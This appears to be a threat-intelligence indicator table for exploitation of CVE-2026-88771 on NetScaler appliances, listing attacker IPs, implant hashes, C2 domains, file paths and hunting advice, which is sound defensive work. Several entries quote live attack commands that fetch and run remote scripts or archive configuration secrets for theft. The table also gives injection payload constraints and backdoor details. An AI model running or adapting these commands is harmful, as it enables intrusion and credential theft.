IPv452.38.11.186watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (AWS US West)watchTowr: atomic indicators are transient and likely to change between campaigns; the behavioral patterns are the durable signal. Cloud address space may be reassigned.Public GitHub repository, no TLP marking
IPv452.39.16.162watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (AWS US West)watchTowr honeypot capture; atomic indicators are transient. Cloud address space may be reassigned.Public GitHub repository, no TLP marking
IPv432.186.46.211watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4141.98.212.82watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4165.22.104.177watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean)watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting.Public GitHub repository, no TLP marking
IPv466.42.100.63watchTowr [105]; Poppelgaard [75]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean); also an out-of-band proving source (dnshook.site callbacks) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15watchTowr honeypot capture plus Huntback decoy telemetry. DigitalOcean is also used by researchers; correlate before acting.Public GitHub repository, no TLP marking
IPv4104.234.140.132watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4104.234.140.124watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4104.168.34.24watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4165.22.100.102watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean)watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting.Public GitHub repository, no TLP marking
IPv4206.189.107.84watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean)watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting.Public GitHub repository, no TLP marking
IPv445.61.144.161watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv445.225.135.18watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv478.128.114.22watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (RACKWEB-NET, Bulgaria - different host from the already-listed 78.128.113.10)watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4159.26.112.64watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (Proton AG space - same neighbourhood as the already-listed VPN exit 159.26.103.184)watchTowr honeypot capture; atomic indicators are transient. Proton ranges are heavily used by commercial VPN exits - a hit can be an ordinary VPN user; correlate before acting.Public GitHub repository, no TLP marking
IPv4185.135.77.63watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4212.86.125.40watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv445.12.239.191watchTowr [105]CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor networkwatchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns.Public GitHub repository, no TLP marking
IPv4194.54.83.22Poppelgaard [75]Out-of-band proving source (dnshook.site callbacks) per Huntback.io's 7 Oct decoy telemetry, carried in Poppelgaard checker v1.15. WHOIS: ORG-FPA22-RIPE, UkraineHuntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host.Public GitHub repository, no TLP marking
IPv4107.189.7.141Poppelgaard [75]ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry (10 days), carried in checker v1.15; Huntback notes some of this group are Tor exits. WHOIS: BUYVM-LUXEMBOURG-02 (BuyVM/FranTech)Huntback decoy observation relayed via the checker. BuyVM space is also used by Tor exits and ordinary hosting customers - correlate before attributing.Public GitHub repository, no TLP marking
IPv4109.71.252.97Poppelgaard [75]ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: Datalix, GermanyHuntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim.Public GitHub repository, no TLP marking
IPv4185.121.170.60Poppelgaard [75]ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: XODO Technology, New ZealandHuntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim.Public GitHub repository, no TLP marking
IPv4185.243.218.225Poppelgaard [75]ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: GIGAHOST-NET, NorwayHuntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim.Public GitHub repository, no TLP marking
IPv4192.42.116.101Poppelgaard [75]ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relayTor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead.Public GitHub repository, no TLP marking
IPv4185.220.101.54Poppelgaard [75]ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT (torservers netblock, Germany) - a Tor exit relayTor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead.Public GitHub repository, no TLP marking
IPv4204.8.96.74Poppelgaard [75]ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: QUINTEX96Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim.Public GitHub repository, no TLP marking
IPv4192.42.116.62Poppelgaard [75]Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relayTor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead.Public GitHub repository, no TLP marking
IPv4192.42.116.65Poppelgaard [75]Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relayTor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead.Public GitHub repository, no TLP marking
IPv4185.100.87.166Poppelgaard [75]Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: FlokiNET-Romania (Tor-friendly host)Huntback decoy observation relayed via the checker. FlokiNET also hosts Tor infrastructure and privacy services - correlate before attributing.Public GitHub repository, no TLP marking
IPv477.247.126.239Poppelgaard [75]Backing host of the pinggy/serveo tunnel droppers per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: CLOUVIDER-HB-CLIENT-7899, registered 12 Aug 2026Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host.Public GitHub repository, no TLP marking
IPv445.59.125.187Poppelgaard [75]PHP webshell source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: ROUTERHOSTINGHuntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim.Public GitHub repository, no TLP marking
IPv4130.12.182.7Poppelgaard [75]Log-channel C2 per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: RIPE space, netname PRIVATE-NETWORK, registered 8 Oct 2025Huntback decoy observation relayed via the checker; the checker gives no protocol detail for the log channel. Attacker IPs can be unique to one victim.Public GitHub repository, no TLP marking
IPv446.151.182.131Poppelgaard [75]Bot-download host per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: Ghosty-24, registered 13 Sep 2026 - fresh infrastructureHuntback decoy observation relayed via the checker. Fresh registration is consistent with campaign infrastructure, not proof on its own.Public GitHub repository, no TLP marking
IPv423.234.80.205Poppelgaard [75]Source of LogonUISimple webshell-alias probes on 7 Oct, per a field report carried in Poppelgaard checker v1.15 (same /24 as the Gotham-observed 23.234.80.246). WHOIS: TZULO (tzulo, inc., United States)Single field report relayed via the checker. Probing a webshell alias means targeting, not compromise.Public GitHub repository, no TLP marking
IPv445.143.130.195SOCRadar [78]; Poppelgaard [75]C2 and payload server of the "NetScaler C2" mass-exploitation framework (SOCRadar, identified in the wild, blog 7 Oct; ports 8899/tcp HTTP C2 and 53/udp DNS OOB): the pipeline enumerates FOFA-indexed NetScaler hosts, fingerprints versions, injects curl${IFS}-sk${IFS}45.143.130.195:8899/s/<bid>|sh across 11 unauthenticated endpoints every 30 minutes, and installs a polling agent at /tmp/.nsagent; the DNS fallback beacons via nslookup <bid>.p1.oob.45.143.130.195First-hand SOCRadar observation of the toolkit (they recovered the framework but no active C2 instance). Multiple public sources carry this IP since the checker relayed it on 7 Oct.Public blog, no TLP marking
SHA-2568588d11874ab52a1637953dc5538984647023d00b529f695fbd0e40cf8e5e852SOCRadar [78]NetScaler C2 framework: run.sh - the Tmux-based orchestrator chaining the C2 listener, the 30-minute exploitation loop and heartbeat monitoringFrom SOCRadar's teardown of the recovered toolkit. Hashes cover the framework files, not victim artifacts.Public blog, no TLP marking
SHA-2564992f575f3f1fc448cf54a4a0ce13cf6548790777abe0af1f935663498ea5639SOCRadar [78]NetScaler C2: targets.py - FOFA mass reconnaissance, 12 queries x 10k results (~120k candidate hosts), honeypot and AWS-range filteringFrom SOCRadar's teardown of the recovered toolkit.Public blog, no TLP marking
SHA-25669a34c591eaaa2cbecaeed10c303b8dcf04c846b8408491da5452b9cfc93f686SOCRadar [78]NetScaler C2: probe.py - version fingerprinting and CVE-2026-88771 confirmation of FOFA results (48 workers)From SOCRadar's teardown of the recovered toolkit.Public blog, no TLP marking
SHA-256a3e26053975daa0a12a4848ce9533e5c439617cd7f69851347be2061999b4cd4SOCRadar [78]NetScaler C2: exploit.py - the log-injection engine injecting two payload variants (HTTP agent bootstrap and DNS OOB fallback) across 11 unauthenticated endpointsFrom SOCRadar's teardown of the recovered toolkit.Public blog, no TLP marking
SHA-256a9142989d912098856e58f2c74c2266e39150d50bc59722f915dade1ddfddf4aSOCRadar [78]NetScaler C2: c2_server.py - dual-protocol listener (HTTP 8899 for C2 polling/results, DNS 53 for OOB beacons)From SOCRadar's teardown of the recovered toolkit.Public blog, no TLP marking
SHA-256f9e06d412dee96d98db4d4588f0012af859cc11caaae3e130697f282447cf07fSOCRadar [78]NetScaler C2: pollctl.py - operator interface (per-device shell, command broadcasting, session history)From SOCRadar's teardown of the recovered toolkit.Public blog, no TLP marking
SHA-2566c8929c6bc1ad59c4742d2671b797a08e36b8f3ec6ab479afc08bec62a3c2657watchTowr Intel [61]; watchTowr [105]Sliver C2 implant ns_helper captured by watchTowr (44,523,749 bytes), staged to /var/vpn/ns_helper (and /nsconfig/.ns_helper/ns_helper); 60-second beacon with a hardcoded Chrome-on-Linux User-Agent to the operator IP on ports 80/443watchTowr honeypot capture; the operator stages and sinkholes binaries, so hashes rotate. Distinct from the earlier pylrk.cc FreeBSD Sliver implant (0188b0eb...).Public blog and GitHub repository, no TLP marking
SHA-2560e9e1a1644c0f445fe20735f6ab56e0ba61c9e51d76c34e14e729a9db9d78bf1watchTowr Intel [61]; watchTowr [105]; LevelBlue SpiderLabs (THOR team) [82]Perl dropper update_c08937.pl captured by watchTowr (10,071 bytes): mints the gw_health superuser, decodes the PHP webshell, patches httpd.conf and reloads. A LevelBlue/Arctic Wolf sample with the same filename (974b6978...) is a different copy - hashes of this stager differ between captureswatchTowr honeypot capture; match on filename plus behaviour, not only on the hash.Public blog and GitHub repository, no TLP marking
SHA-256c0ebf54be0aeddd5b953df8a60bff7fc88d571e948405c24f6b5d6c1aa17558awatchTowr Intel [61]; watchTowr [105]PHP webshell (4,372 bytes) embedded in the Perl dropper and written to /var/netscaler/logon/LogonPoint/.local_journal: password-checked against a stored SHA-256 hash, session flag on match, command execution, upload and download. Renders a login page without a valid session. watchTowr published the password in its post; it is not reproduced herewatchTowr honeypot capture; the shell is stateful and fails on default NetScaler configs because nsppe strips the Set-Cookie header the SESSID needs - absence of the session cookie does not mean the file is absent.Public blog and GitHub repository, no TLP marking
SHA-2566caf647ec5a440739b7ef073ccf30463ace79a17c9195eb528ea826c4c0000c4watchTowr [105]SSH backdoor dropper /var/1 captured by watchTowr (164 bytes): stages the trojanized Dropbear binarywatchTowr honeypot capture; atomic indicators are transient.Public GitHub repository, no TLP marking
SHA-256530fb1522dc0a023bc3412d576c52a553933d302ed445475501acf8e7cfea46bwatchTowr Intel [61]; watchTowr [105]Trojanized Dropbear SSH 2025.88 backdoor binary (/var/walk or /usr/bin/walk, 1,283,160 bytes) captured by watchTowr: statically linked for FreeBSD, no library dependencies, runs an SSH server on tcp/37512, hardcoded password support1 accepted on any account plus an embedded RSA-2048 key checked before authorized_keys; makes no changes to the SSH configurationwatchTowr honeypot capture; published for hunting, not for reuse.Public blog and GitHub repository, no TLP marking
SHA-2563754689fafacd2ff1c50781de2027afb1a736f9dadf48767afe560fc0f10a6f0Binary Defense ARC Labs [79]Platypus fork Windows agent, unpacked, PE32+ x86-64 Go, 19,414,528 bytes (Binary Defense 12 Oct; fork-only modules internal/agent/rootesc - active privilege escalation via sudo/sudo_gtfo/rootexec/takeover - and internal/agent/selfpersist - covert persistence with watchdog, timestomping and masquerade names such as "System Health Monitor" and healthd). Sandbox run: executed cleanly, Microsoft Defender did not block it, 1 of 65 on VirusTotal at analysis time, 248 TLS + 193 HTTP enrollment attempts to the sinkhole, nothing past enrollment firedBinary Defense malware-lab hash; the fork is verified against 1,689 public Platypus commits (both modules absent upstream). A rebuild changes the hash - hunt the behavior, not only the hash.Public blog, no TLP marking
JARM40d40d40d00000000043d43d00043dabadbb43f9614a00c843a4ecd074ab81Binary Defense ARC Labs [79]TLS server fingerprint (JARM) of the Platypus C2 server 195.123.233.245 (Binary Defense, 12 Oct) - pivot for TLS sessions presenting it across the five-domain clusterBinary Defense first-hand observation. JARM fingerprints the server stack, not the operator; other Platypus deployments could share it.Public blog, no TLP marking
TLS cert SHA-143311300529d031058895820fb79fb15afa171bbBinary Defense ARC Labs [79]Active platypus-ingress certificate thumbprint (Binary Defense 12 Oct), valid 2026-09-28 to 2026-10-28, presented on entretiensol.com and the other four cluster domainsBinary Defense first-hand observation; the actor rotates default ingress certificates, so thumbprints change - hunt the trio pattern together with the JARM.Public blog, no TLP marking
TLS cert SHA-1e75699b342f4d1650ac2958b082d9f71beb73f93Binary Defense ARC Labs [79]Prior Platypus ingress certificate thumbprint, seen 2026-09-05 (Binary Defense), same actor rotation patternAs for the active thumbprint: actor-rotated, historical.Public blog, no TLP marking
TLS cert SHA-1a8ff7a3154533f5b7af3a7be455e9ac6b9923bffBinary Defense ARC Labs [79]Earlier Platypus ingress certificate thumbprint, seen 2026-09-02 (Binary Defense), same rotation patternAs for the active thumbprint: actor-rotated, historical.Public blog, no TLP marking
Domainwhite-guard.proBinary Defense ARC Labs [79]; TENEX [74]Platypus ingress on the same IP as entretiensol.com (195.123.233.245), per Binary Defense (12 Oct): registered 4 June 2026 through the Moscow-based registrar REG.RU with REG.RU nameservers - eleven weeks before the campaign - and served both the active and the 5 September ingress certificates. Binary Defense reads the setup as a two-tier design: disposable aged .com domains for victim-facing work, the REG.RU domain as the protected tier that survives takedowns. Cluster25 telemetry previously tied the same server to a Havoc C2Binary Defense first-hand infrastructure analysis. Already listed on this site from TENEX as a Platypus C2 node - this entry adds the registrar/tier analysis and the Havoc history.Public blog, no TLP marking
URLhttps://entretiensol.com/api/v1/agents/enrollBinary Defense ARC Labs [79]Platypus agent mTLS enrollment endpoint on the C2 (Binary Defense; the agent registers via /p/<bid>?h=<hex_hostname>&u=<hex_username>&src=agent and polls /c/<bid> every 20 seconds, returning results via /r/<bid>?d=<hex>)Binary Defense first-hand observation; matches the Platypus project protocol. Legitimate Platypus deployments use the same paths - pivot on the C2 IP and certificates, not the path alone.Public blog, no TLP marking
File name.ns_09343.pl / ns_827664.pl (Platypus fork agents), masquerade identities "System Health Monitor", healthdBinary Defense ARC Labs [79]Masquerade filenames of the Platypus fork agents recovered from two appliances (Binary Defense 12 Oct): ELF binaries with .pl extensions, installed in /var/tmp/ (first appliance) and /netscaler.local/ (second), with data directories /var/tmp/.ns_data and /var/core/.ns-cache/. The selfpersist module carries a masquerade identity table including "System Health Monitor", healthd, system-health, health-monitor and node-health for processes and servicesBinary Defense first-hand IR. Any .pl file on a NetScaler that is actually an ELF binary is a compromise signal regardless of name; the fork modules rootesc/selfpersist have zero hits in 1,689 public Platypus commits.Public blog, no TLP marking
Log patternadmautoregd log-processing chain: grep(pitboss.*PPE.*unexpectedly died) -> sed -> awk -> find /var/core -name <TOKEN>* | tail -1SOCRadar [78]Per SOCRadar (7 Oct): the background daemon that processes ns.log for CVE-2026-88771 is admautoregd; its 24-hour cycle or an appliance reboot triggers execution of injected lines. Payload constraints from the exploit code: no parentheses, spaces replaced with ${IFS}, no ? or & characters, command smaller than 93 bytes (128-byte username field)Derived from SOCRadar's analysis of the recovered exploit code. Complements the ns_monuploadd_err.pl path described by watchTowr, CERT-EU and Martin's Blog.Public blog, no TLP marking
HA sync noteHA sync propagates /nsconfig/httpd.conf, rc.netscaler, sshd_config and /nsconfig/ssh/ to the secondary within ~1 minute - but NOT /var/netscaler/gui/, /netscaler/ns_gui/ or /var/vpn/Binary Defense ARC Labs [79]Binary Defense (12 Oct): httpd-config persistence and SSH-key persistence appear on both nodes within a minute, so removing them from one node does not clear the pair; webshells in the web directories are node-local and must be checked on each node individually. A diff of the synced paths between nodes surfaces one-sided changes, and the node that was primary during the exploitation window may hold the access-log evidence on the current secondaryFirst-hand IR guidance from Binary Defense; verify against your own HA configuration version.Public blog, no TLP marking
Domainctrxsrv.comwatchTowr Intel [61]; watchTowr [105]Purpose-built NetScaler-lookalike out-of-band callback domain seen by watchTowr among the OOB probes (wildcard subdomains)watchTowr calls it purpose-built, unlike the shared OOB services. Block the domain, not any resolved IP.Public blog and GitHub repository, no TLP marking
Domainddns.1433.eu.orgwatchTowr [105]Out-of-band callback domain family *.ddns.1433.eu.org seen by watchTowr; match on appliance egress DNSHunt on appliance egress only; 1433.eu.org is a public free-subdomain service, so do not block the apex on its own - watchTowr gives the wildcard form.Public GitHub repository, no TLP marking
Domainstaticship.orgwatchTowr [105]Out-of-band callback domain family *.css.staticship.org seen by watchTowr; match on appliance egress DNSwatchTowr gives the wildcard form *.css.staticship.org; hunt on appliance egress only.Public GitHub repository, no TLP marking
Domainsmartdnslog.comwatchTowr [105]Out-of-band callback endpoint oob.smartdnslog.com/cb/<id> seen by watchTowrsmartdnslog is a DNS-capture service, dual-use like dnshook.site: legitimate in other contexts. Hunt its use from NetScaler hosts and correlate; do not blanket-block without context.Public GitHub repository, no TLP marking
Domainv5v.inPoppelgaard [75]Payload host of the 8 October overnight wave of the same login injection, per a community report carried in Poppelgaard checker v1.16: https://v5v.in/r.sh?k=<key>|shSingle community report relayed via the checker; no vendor or CERT confirmation. Hunt the full URL, not the apex on its own.Public GitHub repository, no TLP marking
IPv472.5.65.111Poppelgaard [75]Source of an overnight wave of the same CVE-2026-88771 login injection on 8 October, per a community report (World of EUC Slack) carried in Poppelgaard checker v1.16; the payload fetched https://v5v.in/r.sh?k=<key>|shSingle community report relayed via the checker; no vendor or CERT has confirmed it. A hunting lead, not proof of targeting.Public GitHub repository, no TLP marking
SHA-256be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447Poppelgaard [75]SLAPSHOT/WHIPSHOT kit file (four more files of the kit shared by Gotham Technology Group on 6 Oct via checker v1.15, from the analysis of its installer b9b0a438...)Community-sourced compilation via Gotham; the checker does not name which file each hash is, and no vendor report confirms them individually. Match on content, not name.Public GitHub repository, no TLP marking
SHA-256dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7ePoppelgaard [75]SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...)Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name.Public GitHub repository, no TLP marking
SHA-2569f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7Poppelgaard [75]SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...)Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name.Public GitHub repository, no TLP marking
SHA-256cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fdPoppelgaard [75]SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...)Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name.Public GitHub repository, no TLP marking
Domainpinggy.netPoppelgaard [75]SSH tunnel service that fronted two dropper sources in the campaign, per Huntback.io (7 Oct, via checker v1.15); the checker also lists free.pinggy.net as an exploit-string hostpinggy.net is a legitimate public SSH-tunnel service used by developers every day; only its abuse here makes it an indicator. Hunt connections from NetScaler hosts to it and correlate; do not block the service wholesale.Public GitHub repository, no TLP marking
Domainserveousercontent.comPoppelgaard [75]Second SSH tunnel service fronting campaign droppers, per Huntback.io (7 Oct, via checker v1.15)serveousercontent.com is the user-content domain of the legitimate serveo tunnel service; dual-use like webhook.site. Hunt its use from NetScaler hosts and correlate; do not blanket-block without context.Public GitHub repository, no TLP marking
File path/var/vpn/ns_helper, /nsconfig/.ns_helper/ns_helperwatchTowr Intel [61]; watchTowr [105]; Poppelgaard [75]Drop paths of the watchTowr-captured Sliver implant ns_helper, staged by fetch from the operator staging URL (also hunted by the checker as compromise since v1.15)watchTowr honeypot capture. A missing file proves nothing; /var/vpn is web-adjacent, so also check for requests to it.Public blog and GitHub repository, no TLP marking
File path/var/1, /var/walk, /usr/bin/walkwatchTowr [105]SSH-backdoor dropper (/var/1) and trojanized Dropbear binary (/var/walk, /usr/bin/walk) per watchTowr; the checker-style hunt also greps crontab for walkwatchTowr honeypot capture; a missing file does not rule out earlier execution or cleanup.Public GitHub repository, no TLP marking
File path/tmp/sessions.log.dwatchTowr [105]Directory artifact listed in watchTowr's hunting commands for the SSH-backdoor activitywatchTowr honeypot capture; hunt with ls -lahd /tmp/sessions.log.d and inspect its contents. /tmp clears on reboot.Public GitHub repository, no TLP marking
File path/var/tmp/.sec.txt, /var/tmp/.cred.txtwatchTowr [105]Hidden staging files named in watchTowr's hunting commands alongside the proof-of-execution markerswatchTowr honeypot capture; a hit means data was staged - preserve and inspect securely. A missing file proves nothing.Public GitHub repository, no TLP marking
File namex.php, health.php, .x.php (sprayed webshells), pwn.txt, p.txt (markers)watchTowr Intel [61]; watchTowr [105]Smash-and-grab payloads watchTowr captured: unauthenticated PHP webshells sprayed across 14 directories and proof-of-execution markers in web-accessible locationswatchTowr honeypot capture; names are transient. Any PHP or marker file in the web folders is a compromise signal regardless of name.Public blog and GitHub repository, no TLP marking
File path/var/netscaler/logon/LogonPoint/logon.js, /var/netscaler/logon/LogonPoint/ns0e82mz.txtwatchTowr [105]PoC proof-of-execution markers (logon.js) and web-served id output (ns0e82mz.txt) from the watchTowr repositorywatchTowr honeypot capture; filenames may rotate. Any id-output file in a web-served path is a compromise signal.Public GitHub repository, no TLP marking
SSH keyssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIByuCHWk9qsqn0xD6eO4wSOwiF8b8m6Gb+s6+nue13s3 lo@vps (fingerprint SHA256:hGLHNG47ISWLin1Ik3o2KzgPLphQ3mjkGdp6DSeAiLo)watchTowr Intel [61]; watchTowr [105]Attacker key sprayed by the smash-and-grab operator into /root/.ssh, /nsconfig/ssh and /nsconfig/.ssh, per watchTowrA hit in any authorized_keys means attacker access: remove the key, rotate all credentials and treat the host as compromised. Also check the older saved configs ns.conf.0/.1 for the key.Public blog and GitHub repository, no TLP marking
PatternC2 URI pattern: ^/(?:bundles|scripts|script|javascripts|js)(?:/(?:bundles|scripts|script|javascripts|js)){0,5}/(?:route|app|app\.min|array)\.php(?:\?[A-Za-z]=[A-Za-z0-9]+)?$watchTowr [105]URI shape of the watchTowr-captured Sliver ns_helper implant beacons (segments bundles/scripts/script/javascripts/js nested 1-6 deep, filename route/app/app.min/array, .php, optional single-letter query); observed endpoints include /scripts/scripts/scripts/app.php?u=... and /script/script/javascripts/scripts/app.min.php?e=... on port 80 to the operator IPwatchTowr-published regex for its captured implant; other builds may use different shapes. Hunt in egress HTTP logs from NetScaler hosts.Public GitHub repository, no TLP marking
Log patternShell script parked in a tagged User-Agent (<tag>:<script>) in the HTTP access log, later run by an injection carrying grep <tag>: /var/log/htt* | sed ... | shPoppelgaard [75]Log-reflection technique documented by Lupovis (7 Oct, via checker v1.15): the payload never appears in the login field, only the grep-and-run line, so login-field filters miss it. A second actor base64-encodes the script (<tag>:<base64>)A tagged User-Agent alone means staging; the technique is proven only if the shell audit log shows the grep line running. The checker decodes the base64 variant.Public GitHub repository, no TLP marking
File path/tmp/.nsagentPoppelgaard [75]Polling agent of the SOCRadar "NetScaler C2" framework (per checker v1.15): the automated tool installs it after injecting curl${IFS}-sk${IFS}45.143.130.195:8899/s/<id>|sh; HTTP and DNS command channels; a running .nsagent process counts equallyRelayed via the checker; reported as compromise there. Preserve and investigate; a missing file does not rule out earlier execution.Public GitHub repository, no TLP marking
IPv4149.104.78.141GreyNoise blog [106]; GreyNoise Visualizer [108]; eSentire TRU [98]Exploitation source, Sep 24 (3 sessions 07:32:19-07:32:20 UTC). GreyNoise Visualizer on Sep 29: AS154177 LIGHT NODE LIMITED, Japan; not observed mass scanning in the past day.Observed in GreyNoise sensor data; not a universal indicator for every victim. Beaumont reports attacker IPs vary per victim. eSentire also lists it as an exploitation source.TLP:CLEAR
File path/var/netscaler/logon/LogonPoint/custom/.ctxs.receiverGreyNoise blog [106]; Unit 42 (Palo Alto Networks) [153]; Sygnia [73]Webshell path on diskObserved in GreyNoise sensor data; not a universal indicator for every victim. Beaumont reports webshell names are unique per victim.TLP:CLEAR
URL aliasreceiver.min.cssGreyNoise blog [106]Webshell aliasObserved in GreyNoise sensor data; not a universal indicator for every victim.TLP:CLEAR
AliasMatch regexreceiver\.min\.[0-9a-f]+\.cssGreyNoise blog [106]; CERT-EU [56]Apache config (httpd.conf) AliasMatchObserved in GreyNoise sensor data; not a universal indicator for every victim. Pattern as published; also check httpd.conf integrity generally.TLP:CLEAR
SHA-2566f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7GreyNoise blog [106]Webshell hashObserved in GreyNoise sensor data; not a universal indicator for every victim. Per-victim webshells may differ.TLP:CLEAR
GreyNoise tagCitrix NetScaler CVE-2026-88771 Login Command Injection RCE AttemptGreyNoise tag [109]; GreyNoise blog [106]Sensor detection tag, created Sep 27. GreyNoise Visualizer on Sep 29: 76 unique IPs tagged between Sep 19 and Sep 29, all classified malicious. All are listed in this table; two are Cloudflare WARP exits, marked as such.Classifies traffic seen by GreyNoise and community sensors only. Most tagged IPs also carry crawler and CitrixBleed 2 tags, so many look like opportunistic scanning.TLP:CLEAR
SHA-256ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1IFIN [111]; Rapid7 ETR [68].ctxs.receiver webshell sample (237-byte PHP file) first posted by a Reddit user and relayed by IFIN; Rapid7's MDR confirms it as the webshell placed in one of the two organisations it reports compromised via CVE-2026-88771, observed 24 SeptemberVendor-confirmed as an IR sample from one victim. The hardcoded token likely differs per victim, so the hash will too - match on file content, not hash.Public, no restriction
IPv4149.104.78.208Rapid7 ETR [68]; Poppelgaard [75]Exploitation source of the earliest attempt Rapid7's MDR observed, 20 Sep 2026 14:28:43 UTC (only two attempts that day; not yet widespread). The injected username ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig: archives /flash/nsconfig - ns.conf with admin and LDAP/RADIUS/TACACS bind passwords, the ssl/ directory with certificates and private keys, SSH host keys and license files - into the Gateway-served /var/netscaler/gui/vpn/ folder, so any unauthenticated GET https://<gateway>/vpn/c returns the whole archive. Rapid7 identifies two organisations compromised via CVE-2026-88771: this command injection, and a .ctxs.receiver webshell (hash ed082f74...) on 24 September. Carried in the Poppelgaard checker since v1.11 (which credits Rapid7; first seen 20 Sep, tar of /flash/nsconfig to /vpn/c). GreyNoise-tagged address space (AS154177 LIGHT NODE LIMITED, Japan per the 149.104.78.141 neighbourhood). VirusTotal: 1 of 92 engines (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/149.104.78.208Vendor IR observation, first-hand from Rapid7 MDR. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. A /vpn/c request returning HTTP 200 in your logs is a config/key theft signal - rotate everything.Public vendor blog
